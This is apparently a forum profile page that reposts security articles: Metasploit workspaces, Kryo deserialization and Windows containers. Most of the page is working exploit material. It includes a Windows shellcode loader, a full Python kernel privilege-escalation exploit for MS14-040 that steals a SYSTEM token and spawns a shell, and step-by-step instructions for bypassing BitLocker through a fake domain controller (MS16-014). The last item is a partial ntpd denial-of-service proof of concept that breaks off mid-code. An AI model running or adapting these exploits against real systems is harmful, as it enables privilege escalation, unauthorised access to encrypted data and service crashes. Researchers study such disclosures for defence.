Jump to content

Nytro

Administrators
  • Posts

    18736
  • Joined

  • Last visited

  • Days Won

    711

Everything posted by Nytro

  1. Metasploit: Using Workspaces Published on February 15, 2016 By HollyGraceful The Metasploit database is great for tracking a Penetration Testing engagement, the biggest the engagement the more that the database can offer you. It tracks alive hosts, pwned boxes and stolen loot – plus it timestamps actions too just in case you need to track what happened when. Before you get knee deep in the metasploit database you’ll need to get everything set up. If you’re using Kali then things should work out of the box if, like me, you use Fedora then check this link out – you can get database setup instructions here! To see if you’ve managed to hit all of the right settings you can test the database connection: msf > db_status [*] postgresql connected to msf_database msf > If your output looks something like the above then you’re good to go. When it comes to PenTesting, it’s a really good idea to keep everything seperate – all of you scan results, vulns and loot. Metasploit allows you to keep things need like this through “Workspaces”. There’s a default workspace, and you can add a new one per assessment easily. Link: https://www.gracefulsecurity.com/metasploit-using-workspaces/
  2. Serialization Must Die: Act 1: Kryo Posted on February 12, 2016 by Arshan Dabirsiaghi When @frohoff, @gebl and @breenmachine all combined to melt Java security (in what I’m hereafter conflating under the term “seriapalooza”), I thought about deserialization alternatives. Where are my customers going next? Is there greener grass? We’re going to find out. If the title of my series wasn’t spoiler enough, let me foreshadow more plainly: the grass is brown and dead, everywhere. Today, we’re looking at Kryo, one of the “hipper” serialization libraries. We know it’s used in a lot of big software already, but it’s a library that’s probably used downstream by many, many organizations. My customers are certainly among those organizations. Let’s take a peek. Sursa: https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-1-kryo
  3. FIRST STEPS WITH WINDOWS CONTAINERS At Microsoft Ignite 2015 back in Chicago Microsoft announced Windows Containers. With the release of the Technical Preview 3 (TP3) for Windows Server 2016 we are finally able to start using Windows Containers, and we can finally test them. But first let use check a little what containers are. The concept of containers is nothing new, in the Linux world containers are a well known concept. If you have a look at the Wikipedia description for Linux Containers, Wikipedia describes it as follows: LXC (Linux Containers) is an operating-system-level virtualization environment for running multiple isolated Linux systems (containers) on a single Linux control host. Containers provide operating system-level virtualization through a virtual environment that has its own process and network space, instead of creating a full-fledged virtual machine. With Windows Server 2016 more or less the same concept comes the Windows world. This makes containers much more light-weight, faster and less resource consuming than Virtual Machines, which makes it perfect for some scenarios, especially dev-test scenarios or for worker roles. Container Ecosystem If we have a look at the concept of containers you have several things in the container ecosystem: First you have the Container Run-Time which builds the boundaries between the different containers and the operating system. To make deployment easier, faster and more efficient you build Container Images which Include the application frameworks as well as the applications on top of the OS used for the container. To use, store and share Container Images you can use an Image Repository. The question most people will ask is how are containers different than Virtual Machines etc. Physical Server At the beginning what we did is, we installed an operating system on physical hardware and in that operating system we installed applications directly. Virtual Machines With virtual machines we created simulated some virtual hardware on top of the operating system of the physical server. We installed an operating system inside the virtual machine on top of the virtual hardware and installed application inside the VM. In this case, each virtual machine has its own operating system. Containers With container we use an operating-system-level virtualization environment which create boundaries between different applications. This is so efficient you can run multiple applications side by side without effecting each other. Since this is operating-system-level virtualization you cannot only directly on the operating system on the physical hardware, you can also use operating-system-level virtualization inside a virtual machine. This is by the way the way I see most of the deployments of containers. Windows Containers vs. Hyper-V Containers Microsoft will provide two different types of Container Run-Times. One is Windows Containers and the other one will be Hyper-V Containers (not Hyper-V Virtual Machines). In some cases it is maybe not compliant that some applications share the same operating system. In this case Hyper-V Containers will add an extra boundaries of security. Hyper-V Containers are basically Windows Containers running in a Hyper-V Partition, so with that you gain all the stuff you get with Windows Containers but with another layer of isolation.The great thing here, is that both Container Run-Times use the exam same image format. This means if an image is created in a Windows Container Run-Time it also works as a Hyper-V Container and vice versa. The other great side effect of Hyper-V Containers is, that in order to run Hyper-V Containers inside a Virtual Machine we need nested Virtualization, which will be included in Windows Server 2016 Hyper-V. Btw. Hyper-V Containers are not part of the Technical Preview 3. (Pictures from the Microsoft Ignite 2015 presentation of Taylor Brown and Arno Mihm (Program Managers for Containers) Deploy Windows Containers With the release of the Technical Preview 3 of Windows Server 2016, Microsoft made Windows Containers available to the public. To get started you can download a install Windows Server 2016 inside a Virtual Machine or even bare-metal. If the virtual machine has internet connection you can use the following command to download the configuration script, which will prepare your container host. 1 wget -uri https://aka.ms/setupcontainers -OutFile C:\ContainerSetup.ps1 After that you can run the C:\ContainerSetup.ps1 script, which will prepare your container host. This can take some time depending on your internet connection and hardware. 1 C:\ContainerSetup.ps1 The VM will restart several times and if it is finished you can start using Windows Containers inside this Virtual Machine. Managing Windows Containers After you have logged in to the Virtual Machine you can start managing Containers using PowerShell: Get Container Images, by default you will get a WindowsServerCore Image. You can also create your own images, based on this image. 1 Get-ContainerImage Create a new Container 1 $container = New-Container -Name "MyContainer" -ContainerImageName WindowsServerCore Start the container 1 Start-Container -Name "MyContainer" Connect to the Container using Enter-PSSession 1 Enter-PSSession -ContainerId $container.ContainerId -RunAsAdministrator Of course you an also use the docker command to make your containers. Deploy a Container Host in Microsoft Azure If you don’t want to go trough all the installation process you can also use a Template in Microsoft Azure to deploy a new Container Host Virtual Machine. If you need some more information on Windows Containers check out the Microsoft Resources onMSDN about Windows Server Containers. Sursa: http://www.thomasmaurer.ch/2015/09/first-steps-with-windows-containers/
  4. Windows x86 SwapMouseButton shellcode /* Title: Windows x86 SwapMouseButton shellcode Author: Ionut Popescu Date: December 2015 Tested on: Windows 7/Windows 10 Build/Run: Visual C++ Express Edition Shellcode written for educational purposes. Detailed description: - http://securitycafe.ro/2015/10/30/introduction-to-windows-shellcode-development-part1/ - http://securitycafe.ro/2015/12/14/introduction-to-windows-shellcode-development-part-2/ - http://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/ */ /* ; Shellcode details ; ----------------- xor ecx, ecx mov eax, fs:[ecx + 0x30] ; EAX = PEB mov eax, [eax + 0xc] ; EAX = PEB->Ldr mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder lodsd ; EAX = Second module xchg eax, esi ; EAX = ESI, ESI = EAX lodsd ; EAX = Third(kernel32) mov ebx, [eax + 0x10] ; EBX = Base address mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew add edx, ebx ; EDX = PE Header mov edx, [edx + 0x78] ; EDX = Offset export table add edx, ebx ; EDX = Export table mov esi, [edx + 0x20] ; ESI = Offset namestable add esi, ebx ; ESI = Names table xor ecx, ecx ; EXC = 0 Get_Function: inc ecx ; Increment the ordinal lodsd ; Get name offset add eax, ebx ; Get function name cmp dword ptr[eax], 0x50746547 ; GetP jnz Get_Function cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA jnz Get_Function cmp dword ptr[eax + 0x8], 0x65726464 ; ddre jnz Get_Function mov esi, [edx + 0x24] ; ESI = Offset ordinals add esi, ebx ; ESI = Ordinals table mov cx, [esi + ecx * 2] ; Number of function dec ecx mov esi, [edx + 0x1c] ; Offset address table add esi, ebx ; ESI = Address table mov edx, [esi + ecx * 4] ; EDX = Pointer(offset) add edx, ebx ; EDX = GetProcAddress xor ecx, ecx ; ECX = 0 push ebx ; Kernel32 base address push edx ; GetProcAddress push ecx ; 0 push 0x41797261 ; aryA push 0x7262694c ; Libr push 0x64616f4c ; Load push esp ; "LoadLibrary" push ebx ; Kernel32 base address call edx ; GetProcAddress(LL) add esp, 0xc ; pop "LoadLibrary" pop ecx ; ECX = 0 push eax ; EAX = LoadLibrary push ecx mov cx, 0x6c6c ; ll push ecx push 0x642e3233 ; 32.d push 0x72657375 ; user push esp ; "user32.dll" call eax ; LoadLibrary("user32.dll") add esp, 0x10 ; Clean stack mov edx, [esp + 0x4] ; EDX = GetProcAddress xor ecx, ecx ; ECX = 0 push ecx mov ecx, 0x616E6F74 ; tona push ecx sub dword ptr[esp + 0x3], 0x61 ; Remove "a" push 0x74754265 ; eBut push 0x73756F4D ; Mous push 0x70617753 ; Swap push esp ; "SwapMouseButton" push eax ; user32.dll address call edx ; GetProc(SwapMouseButton) add esp, 0x14 ; Cleanup stack xor ecx, ecx ; ECX = 0 inc ecx ; true push ecx ; 1 call eax ; Swap! add esp, 0x4 ; Clean stack pop edx ; GetProcAddress pop ebx ; kernel32.dll base address mov ecx, 0x61737365 ; essa push ecx sub dword ptr [esp + 0x3], 0x61 ; Remove "a" push 0x636f7250 ; Proc push 0x74697845 ; Exit push esp push ebx ; kernel32.dll base address call edx ; GetProc(Exec) xor ecx, ecx ; ECX = 0 push ecx ; Return code = 0 call eax ; ExitProcess */ #include "stdafx.h" #include <Windows.h> int main() { char *shellcode = "\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75" "\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68" "\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68\x75\x73" "\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x74\x6F\x6E\x61\x51\x83\x6C\x24\x03\x61\x68\x65\x42\x75\x74\x68" "\x4D\x6F\x75\x73\x68\x53\x77\x61\x70\x54\x50\xFF\xD2\x83\xC4\x14\x33\xC9" "\x41" // inc ecx - Remove this to restore the functionality "\x51\xFF\xD0\x83\xC4\x04\x5A\x5B\xB9\x65\x73\x73\x61" "\x51\x83\x6C\x24\x03\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x53\xFF\xD2\x33\xC9\x51\xFF\xD0"; // Set memory as executable DWORD old = 0; BOOL ret = VirtualProtect(shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &old); // Call the shellcode __asm { jmp shellcode; } return 0; }
  5. Microsoft Windows - AFD.SYS Dangling Pointer Privilege Escalation (MS14-040) # Exploit Title: MS14-040 - AFD.SYS Dangling Pointer # Date: 2016-02-05 # Exploit Author: Rick Larabee # Vendor Homepage: www.microsoft.com # Version: Windows 7, 32 bit # Tested on: Win7 x32 # afd.sys - 6.1.7600.16385 # ntdll.dll - 6.1.7600.16385 # # CVE : CVE-2014-1767 # Category: Local Privilege Escalation # References: # http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf # http://ricklarabee.blogspot.com/ # https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/ # https://technet.microsoft.com/en-us/library/security/ms14-040.aspx # http://www.cvedetails.com/cve/CVE-2014-1767/ # # Greetz: PWN4GEPWN1E, SecurityMook from ctypes import * import socket, time, os, struct, sys from ctypes.wintypes import HANDLE, DWORD kernel32 = windll.kernel32 ntdll = windll.ntdll Psapi = windll.Psapi MEMRES = (0x1000 | 0x2000) PAGEEXE = 0x00000040 Zerobits = c_int(0) RegionSize = c_int(0x1000) written = c_int(0) FakeObjSize = 0xA0 GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 GENERIC_EXECUTE = 0x20000000 GENERIC_ALL = 0x10000000 INVALID_HANDLE_VALUE = -1 WSAGetLastError = windll.Ws2_32.WSAGetLastError WSAGetLastError.argtypes = () WSAGetLastError.restype = c_int SOCKET = c_int WSASocket = windll.Ws2_32.WSASocketA WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD) WSASocket.restype = SOCKET closesocket = windll.Ws2_32.closesocket closesocket.argtypes = (SOCKET,) closesocket.restype = c_int connect = windll.Ws2_32.connect connect.argtypes = (SOCKET, c_void_p, c_int) connect.restype = c_int class sockaddr_in(Structure): _fields_ = [ ("sin_family", c_short), ("sin_port", c_ushort), ("sin_addr", c_ulong), ("sin_zero", c_char * 8), ] def findSysBase(drvname=None): ARRAY_SIZE = 1024 myarray = c_ulong * ARRAY_SIZE lpImageBase = myarray() cb = c_int(1024) lpcbNeeded = c_long() drivername_size = c_long() drivername_size.value = 48 Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) for baseaddy in lpImageBase: drivername = c_char_p("\x00"*drivername_size.value) if baseaddy: Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, drivername_size.value) if drvname: if drivername.value.lower() == drvname: print "[+] Retrieving %s info..." % drvname print "[+] %s base address: %s" % (drvname, hex(baseaddy)) return baseaddy else: if drivername.value.lower().find("krnl") !=-1: print "[+] Retrieving Kernel info..." print "[+] Kernel version:", drivername.value print "[+] Kernel base address: %s" % hex(baseaddy) return (baseaddy, drivername.value) return None def CreateBuffer1(): inbuf1size = 0x30 virtualAddress = 0x18888888 length = 0x20000 inbuf1 = "\x00" * 0x18 + struct.pack("L", virtualAddress) #0x1a inbuf1 += struct.pack("L", length) #0x20 inbuf1 += "\x00" * 0x8 + "\x01" inbuf1 += "\x00" * (inbuf1size - len(inbuf1)) baseadd = c_int(0x1001) dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written)) def CreateBuffer2(): inbuf2size = 0x10 addrforbuf2 = 0x0AAAAAAA inbuf2 = "\x01\x00\x00\x00" inbuf2 += struct.pack("L", addrforbuf2) inbuf2 += "\x00" * (inbuf2size -len(inbuf2)) baseadd = c_int(0x2001) dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written)) def CreateFakeObject(): print "[+] Print creating fakeobject" fakeobject2addr = 0x2200 fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C) fakeobj2size = len(fakeobject2) kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written)) objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x16\x00\x08\x00" "\x00\x00\x00\x00\x00\x00\x00\x00") fakeobject = objhead fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4) fakeobject += "\x41" * (FakeObjSize - len(fakeobject)) kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written)) print "[+] creating socket..." sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0) if sock == -1: print "[-] no luck creating socket!" sys.exit(1) print "[+] got sock 0x%x" % sock addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(135) addr.sin_addr = socket.htonl(0x7f000001) connect(sock, byref(addr), sizeof(addr)) print "[+] sock connected." print "\n[+] GO!" (krnlbase, kernelver) = findSysBase() hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += krnlbase print "[+] HalDispatchTable address:", hex(HalDispatchTable) halbase = findSysBase("halmacpi.dll") OS = "7" if OS == "7": HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7 _KPROCESS = "\x50" _TOKEN = "\xf8" _UPID = "\xb4" _APLINKS = "\xb8" print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation) IoStatus = c_ulong() IoStatusBlock = c_ulong() CreateBuffer1() CreateBuffer2() CreateFakeObject() inbuf1 = 0x1000 inbuf2 = 0x2000 hWF = HANDLE(0) FakeWorkerFactoryADDR = 0x2100 # Trigger 1 # afd!afdTransmitFile ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0) CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0)) ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0) hWFaddr = hWF print "[+] WorkerFactoryHandle:", hWF.value hWFaddr = int(addressof(hWF)) shellcode_address = 0x00020700 padding = "\x90"*2 HalDispatchTable0x4 = HalDispatchTable + 0x4 _WFValue = struct.pack("L", hWFaddr) sc_pointer = struct.pack("L", shellcode_address+0x4) restore_ptrs = "\x31\xc0" + \ "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \ "\xa3" + struct.pack("L", HalDispatchTable0x4) tokenstealing = "\x52" +\ "\x53" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\xc8" +\ "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\ "\x89\x1d\x00\x09\x02\x00" +\ "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\ "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\ "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\ "\x75\xe8" +\ "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\ "\x8b\xc1" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" fixobjheaders = "\x33\xC0" +\ "\x64\x8B\x80\x24\x01\x00\x00" +\ "\x8B\x40\x50" +\ "\x8B\x80\xF4\x00\x00\x00" +\ "\x8B\xD8" +\ "\x8B\x00" +\ "\x8B\x0D" + _WFValue +\ "\x83\xE1\xFC" +\ "\x03\xC9" +\ "\x03\xC1" +\ "\xC7\x00\x00\x00\x00\x00" +\ "\x83\xC3\x30" +\ "\x8B\xC3" +\ "\x8B\x1B" +\ "\x83\xEB\x01" +\ "\x89\x18" +\ "\x5B" +\ "\x5A" +\ "\xC2\x10\x00" shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders shellcode_size = len(shellcode) orig_size = shellcode_size startPage = c_int(0x00020000) kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written)) kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written)) ### Trigger 2 ## afd!AfdTransmitPackets ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0) ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False) ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ; inp = c_ulong() out = c_ulong() inp = 0x1337 qip = ntdll.NtQueryIntervalProfile(inp, byref(out)) print "[*] Spawning a SYSTEM shell..." os.system("cmd.exe /K cd c:\\windows\\system32") Sursa: https://www.exploit-db.com/exploits/39446/
  6. Windows Kerberos Security Feature Bypass (MS16-014) # Exploit Title: Windows Kerberos Security Feature Bypass # Date: 12-02-2016 # Exploit Author: Nabeel Ahmed # Tested on: Windows 7 Professional (x32/x64) # CVE : CVE-2016-0049 # Category: Local Exploit 1) Prerequisites: - Standard Windows 7 Fully patched and member of an existing domain. - BitLocker enabled without PIN or USB key. - Password Caching enabled - Victim has cached credentials stored on the system from previous logon. 2) Reproduce: STEP 1: Obtain physical access to a desktop or laptop with the above configuration. STEP 2: Boot system and determine FQDN of the device. (example. CLIENT.domain.local), this can be obtained by monitoring the network broadcast communication, which the system sends prior to loggin in. The username can be extracted from the loginscreen (E.g USER1) STEP 3: Create Active Directory for the domain you obtained in STEP 2 (domain.local). STEP 4: Create User with similar name as the previously logged in user. (E.g domain\USER1), and force user to change password upon next login. STEP 5: Create Computer Object in Active Directory with the same name as the target system. (E.g CLIENT) STEP 6: Use ADSI Edit and change the attribute ServicePrincipleName of the Computer Object you created in STEP 5, Add the FQDN as following (HOST/CLIENT.domain.local). STEP 7: Establish network connection between the target system and the newly created Domain Controller. STEP 8: Login with the password defined in STEP 4. STEP 9: Target system displays change password screen, set new password and confirm. STEP 10: Message "Your Password has been changed" is displayed, followed by the following error message "The trust relationship between this workstation and the primary domain failed." STEP 11: Disconnect Target system's network connection. STEP 12: Login with the new changed password. 3) Impact: Access gained to the information stored to the FDE target system without previous knowledge of password or any other information. 4) Solution: Install the latest patches from 09-02-2016 using Windows Update. 5) References: https://technet.microsoft.com/en-us/library/security/ms16-014.aspx https://support.microsoft.com/en-us/kb/3134228 6) Credits: Vulnerability discovered by Nabeel Ahmed (https://twitter.com/NabeelAhmedBE) and Tom Gilis (https://twitter.com/tgilis) of Dimension Data (https://www.dimensiondata.com) Sursa: https://www.exploit-db.com/exploits/39442/
  7. Ntpd <= ntp-4.2.6p5 - ctl_putdata() Buffer Overflow /* Ntpd <= ntp-4.2.6p5 ctl_putdata() Buffer Overflow Author: Marcin Kozlowski <marcinguy@yahoo.com> Based on: ntpq client from ntp package Provided for legal security research and testing purposes ONLY PoC DoS (Denial of Service) PoC. Will crash NTPd. You will need to know the KEY ID and MD5 password, for example put this in you ntp.conf -------------- /etc/ntp.conf -------------- keys /etc/ntp.keys trustedkey 1 requestkey 1 controlkey 1 and in /etc/ntp.keys ------------- /etc/ntp.keys ------------- 1 M 1111111 1 is KEY ID 1111111 is MD5 password Hostname and Port is hardcoded in the code. Change it if you want :) gcc ntpd-exp.c -o ntpd-exp ./ntpd-exp Keyid: 1 MD5 Password: Sending 988 octets Packet data: 16 08 00 00 00 00 00 00 00 00 03 b7 73 65 74 76 ... 00 00 00 01 28 05 99 c2 16 ba a7 b7 8d d3 22 00 0c f7 6a 5f Sending 36 octets Packet data: 16 02 00 00 00 00 00 00 00 00 00 01 41 00 00 00 00 00 00 01 7b a5 e6 6e e7 a7 f7 cd 65 8f 1d 5f 51 92 d0 41 KABOOM Ntpd should crash!!! GDB output: Program received signal SIGSEGV, Segmentation fault. read_variables (rbufp=<optimized out>, restrict_mask=<optimized out>) at ntp_control.c:2300 2300 for (i = 0; ext_sys_var && (gdb) If you want to bypass knowing KEY ID and MD5 Password and execute your payload, read more: http://googleprojectzero.blogspot.com/2015/01/finding-and-exploiting-ntpd.html */ #include <stdio.h> #include <ctype.h> #include <sys/types.h> #include <sys/time.h> #include <stdint.h> #include <stddef.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> typedef unsigned short associd_t; /* association ID */ typedef uint32_t keyid_t; typedef int SOCKET; struct sockaddr_in serverAddr; socklen_t addr_size; #define CTL_MAX_DATA_LEN 1300 #define MAX_MAC_LEN (6 * sizeof(uint32_t)) /* SHA */ #define MODE_CONTROL 6 /* control mode */ #define CTL_OP_CONFIGURE 8 #define CTL_OP_READVAR 2 #define CTL_OP_MASK 0x1f #define NID_md5 4 #define NTP_MAXKEY 65535 /* * Stuff for putting things back into li_vn_mode */ #define PKT_LI_VN_MODE(li, vn, md) \ ((u_char)((((li) << 6) & 0xc0) | (((vn) << 3) & 0x38) | ((md) & 0x7))) #define F1(x, y, z) (z ^ (x & (y ^ z))) #define F2(x, y, z) F1(z, x, y) #define F3(x, y, z) (x ^ y ^ z) #define F4(x, y, z) (y ^ (x | ~z)) #define MD5STEP(f,w,x,y,z,in,s) \ (w += f(x,y,z) + in, w = (w<<s | w>>(32-s)) + x) struct ntp_control { u_char li_vn_mode; /* leap, version, mode */ u_char r_m_e_op; /* response, more, error, opcode */ u_short sequence; /* sequence number of request */ u_short status; /* status word for association */ associd_t associd; /* association ID */ u_short offset; /* offset of this batch of data */ u_short count; /* count of data in this packet */ u_char data[(1300 + MAX_MAC_LEN)]; /* data + auth */ }; #define NTP_OLDVERSION ((u_char)1) u_char pktversion = NTP_OLDVERSION + 1; #define CTL_HEADER_LEN (offsetof(struct ntp_control, data)) /* * COUNTOF(array) - size of array in elements */ #define COUNTOF(arr) (sizeof(arr) / sizeof((arr)[0])) /* * Sequence number used for requests. It is incremented before * it is used. */ u_short sequence; /* * Flag which indicates we should always send authenticated requests */ int always_auth = 0; /* * Keyid used for authenticated requests. Obtained on the fly. */ u_long info_auth_keyid = 0; static int info_auth_keytype = NID_md5; /* MD5 */ static size_t info_auth_hashlen = 16; /* MD5 */ int debug = 10; SOCKET sockfd; /* fd socket is opened on */ char currenthost[256]; /* current host name */ char *progname = "exp"; struct savekey { struct savekey *next; union { u_char MD5_key[64]; /* for keys up to to 512 bits */ } k; keyid_t keyid; /* key identifier */ int type; /* key type */ u_short flags; /* flags that wave */ u_long lifetime; /* remaining lifetime */ int keylen; /* key length */ }; /* * The key cache. We cache the last key we looked at here. */ keyid_t cache_keyid; /* key identifier */ u_char *cache_key; /* key pointer */ u_int cache_keylen; /* key length */ int cache_type; /* key type */ u_short cache_flags; /* flags that wave */ #define KEY_TRUSTED 0x001 /* this key is trusted */ #define MEMINC 12 #define EVP_MAX_MD_SIZE 64 typedef struct { uint32_t buf[4]; uint32_t bytes[2]; uint32_t in[16]; } isc_md5_t; /* * ntp_md5.h: deal with md5.h headers * * Use the system MD5 if available, otherwise libisc's. */ typedef isc_md5_t MD5_CTX; #define MD5Init(c) isc_md5_init(c) #define MD5Update(c, p, s) isc_md5_update(c, p, s) #define MD5Final(d, c) isc_md5_final((c), (d)) /* swapped */ /* ssl_init.c */ #ifdef OPENSSL extern void ssl_init (void); extern void ssl_check_version (void); extern int ssl_init_done; #define INIT_SSL() \ do { \ if (!ssl_init_done) \ ssl_init(); \ } while (0) #else /* !OPENSSL follows */ #define INIT_SSL() do {} while (0) #endif #if defined HAVE_MD5_H && defined HAVE_MD5INIT # include <md5.h> #else typedef isc_md5_t MD5_CTX; # define MD5Init(c) isc_md5_init(c) # define MD5Update(c, p, s) isc_md5_update(c, p, s) # define MD5Final(d, c) isc_md5_final((c), (d)) /* swapped */ #endif /* * Provide OpenSSL-alike MD5 API if we're not using OpenSSL */ typedef MD5_CTX EVP_MD_CTX; #define EVP_get_digestbynid(t) NULL #define EVP_DigestInit(c, dt) MD5Init(c) #define EVP_DigestUpdate(c, p, s) MD5Update(c, p, s) #define EVP_DigestFinal(c, d, pdl) \ do { \ MD5Final((d), (c)); \ *(pdl) = 16; \ } while (0) /* * The hash table. This is indexed by the low order bits of the * keyid. We make this fairly big for potentially busy servers. */ #define HASHSIZE 64 #define HASHMASK ((HASHSIZE)-1) #define KEYHASH(keyid) ((keyid) & HASHMASK) #define min(a,b) (((a) < (b)) ? (a) : (b)) struct savekey *key_hash[HASHSIZE]; u_long authkeynotfound; /* keys not found */ u_long authkeylookups; /* calls to lookup keys */ u_long authnumkeys; /* number of active keys */ u_long authkeyexpired; /* key lifetime expirations */ u_long authkeyuncached; /* cache misses */ u_long authnokey; /* calls to encrypt with no key */ u_long authencryptions; /* calls to encrypt */ u_long authdecryptions; /* calls to decrypt */ struct savekey *authfreekeys; int authnumfreekeys; u_long current_time; /*! * The core of the MD5 algorithm, this alters an existing MD5 hash to * reflect the addition of 16 longwords of new data. MD5Update blocks * the data and converts bytes into longwords for this routine. */ void transform(uint32_t buf[4], uint32_t const in[16]) { register uint32_t a, b, c, d; a = buf[0]; b = buf[1]; c = buf[2]; d = buf[3]; MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7); MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12); MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17); MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22); MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7); MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12); MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17); MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22); MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7); MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12); MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17); MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22); MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7); MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12); MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17); MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22); MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5); MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9); MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14); MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20); MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5); MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9); MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14); MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20); MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5); MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9); MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14); MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20); MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5); MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9); MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14); MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20); MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4); MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11); 